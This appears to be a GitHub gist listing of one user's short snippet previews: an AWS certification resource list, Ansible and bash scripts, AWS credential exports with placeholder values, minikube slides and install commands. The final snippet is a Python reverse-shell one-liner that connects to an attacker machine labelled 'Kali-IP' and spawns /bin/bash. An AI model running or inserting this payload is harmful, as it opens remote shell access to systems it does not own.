atrakic

A curated list of AWS resources to prepare for the AWS Certifications

A curated list of awesome AWS resources you need to prepare for the all 5 AWS Certifications. This gist will include: open source repos, blogs & blogposts, ebooks, PDF, whitepapers, video courses, free lecture, slides, sample test and many other resources.

For more about AWS and AWS Certifications and updates to this Gist you should follow me @leonardofed

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atrakic

#!/usr/bin/env bash
#
# gh-dl-release! It works!
# 
# This script downloads an asset from latest or specific Github release of a
# private repo. Feel free to extract more of the variables into command line
# parameters.
#
# PREREQUISITES
#

atrakic

---
# This has been tested with ansible 1.3 with these commands:
#   ansible-playbook -i hosts ansible_conditionals_examples.yaml --extra-vars="hosts=myhosts isFirstRun=false"
#   ansible-playbook -i hosts ansible_conditionals_examples.yaml --extra-vars="hosts=myhosts isFirstRun=true"
#   ansible-playbook -i hosts ansible_conditionals_examples.yaml --extra-vars="hosts=myhosts"
# NB: The type of the variable is crucial!

- name: Ansible Conditionals Examples
  hosts: $hosts
  vars_files:

atrakic

cd k8s-specs

git pull

export AWS_ACCESS_KEY_ID=[...]

export AWS_SECRET_ACCESS_KEY=[...]

aws --version

atrakic

<section data-transition='concave'>
  <section id='local-kubernetes-environments-with-minikube'>
    <a href="https://github.com/kubernetes/minikube"><img style="width:30%;" src="https://raw.githubusercontent.com/kubernetes/minikube/master/logo/logo.png" /></a>
    <h2>Local Kubernetes Environments</h2>
    <h3>with <a href="https://github.com/kubernetes/minikube"><code>minikube</code></a></h3>
    <br/>
    <h4 class='fragment grow'><a href="http://bit.ly/k8s-minikube"><code>bit.ly/k8s-minikube</code></a></h4>
  </section>
  <section data-background-transition='fade' data-background='black' id='presented-by-ryanj'>
    <p>presented by <a href="http://twitter.com/ryanj/">@ryanj</a>, Developer Advocate at <a href='http://redhat.com' style='color:red;'>Red Hat</a></p>

atrakic

#!/bin/sh

set -eu

type aws > /dev/null 2>&1 && type jq > /dev/null 2>&1 || {
  echo 'Required aws-cli and jq'
  exit 1
}

repositories=$(aws ecr describe-repositories --query 'repositories[*].repositoryName' | tr -d "[\",\t\n\r\"]")

atrakic

#!/bin/bash
# bash generate random alphanumeric string
#

# bash generate random 32 character alphanumeric string (upper and lowercase) and 
NEW_UUID=$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 32 | head -n 1)

# bash generate random 32 character alphanumeric string (lowercase only)
cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 32 | head -n 1

atrakic

Install

Install minikube:

# curl -Lo minikube https://storage.googleapis.com/minikube/releases/v0.18.0/minikube-linux-amd64 && chmod +x minikube && sudo mv minikube /usr/local/bin/

Install kubectl:

atrakic

---
- hosts: newnode
  remote_user: root
  become: yes
  become_method: sudo

  tasks:
  - command: bash -c "uname -r | grep ^4."
    register: kernelversion
    ignore_errors: yes

atrakic

python -c 'import pty;import socket,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("Kali-IP",443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/bash")'